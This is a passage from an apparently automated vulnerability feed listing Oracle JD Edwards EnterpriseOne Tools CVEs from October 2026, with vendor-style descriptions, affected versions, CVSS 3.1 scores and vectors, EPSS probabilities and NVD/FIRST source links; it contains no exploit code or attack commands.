Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91266).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91266&date=2026-10-25).
Sources:
NVD CVE-2026-91266: https://nvd.nist.gov/vuln/detail/CVE-2026-91266
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91266&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).
https://kevwire.com/record/CVE-2026-91267
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91267).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91267&date=2026-10-25).
Sources:
NVD CVE-2026-91267: https://nvd.nist.gov/vuln/detail/CVE-2026-91267
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91267&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC).
https://kevwire.com/record/CVE-2026-91268
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91268).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91268&date=2026-10-25).
Sources:
NVD CVE-2026-91268: https://nvd.nist.gov/vuln/detail/CVE-2026-91268
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91268&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Web Runtime SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-91269
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91269).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91269&date=2026-10-25).
Sources:
NVD CVE-2026-91269: https://nvd.nist.gov/vuln/detail/CVE-2026-91269
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91269&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).
https://kevwire.com/record/CVE-2026-91270
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91270).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91270&date=2026-10-25).
Sources:
NVD CVE-2026-91270: https://nvd.nist.gov/vuln/detail/CVE-2026-91270
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91270&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).
https://kevwire.com/record/CVE-2026-91271
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91271).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91271&date=2026-10-25).
Sources:
NVD CVE-2026-91271: https://nvd.nist.gov/vuln/detail/CVE-2026-91271
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91271&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).
https://kevwire.com/record/CVE-2026-91272
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91272).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91272&date=2026-10-25).
Sources:
NVD CVE-2026-91272: https://nvd.nist.gov/vuln/detail/CVE-2026-91272
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91272&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC).
https://kevwire.com/record/CVE-2026-91273
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91273).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91273&date=2026-10-25).
Sources:
NVD CVE-2026-91273: https://nvd.nist.gov/vuln/detail/CVE-2026-91273
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91273&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Object and Env Tech SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).
https://kevwire.com/record/CVE-2026-91286
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91286).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91286&date=2026-10-25).
Sources:
NVD CVE-2026-91286: https://nvd.nist.gov/vuln/detail/CVE-2026-91286
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91286&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Monitoring and Diagnostics SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  While the vulnerability is in JD Edwards EnterpriseOne Tools, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized update, insert or delete access to some of JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-91287
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91287).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91287&date=2026-10-25).
Sources:
NVD CVE-2026-91287: https://nvd.nist.gov/vuln/detail/CVE-2026-91287
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91287&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).
https://kevwire.com/record/CVE-2026-91288
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91288).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91288&date=2026-10-25).
Sources:
NVD CVE-2026-91288: https://nvd.nist.gov/vuln/detail/CVE-2026-91288
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91288&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-91295
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91295).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91295&date=2026-10-25).
Sources:
NVD CVE-2026-91295: https://nvd.nist.gov/vuln/detail/CVE-2026-91295
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91295&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-91296
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91296).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91296&date=2026-10-25).
Sources:
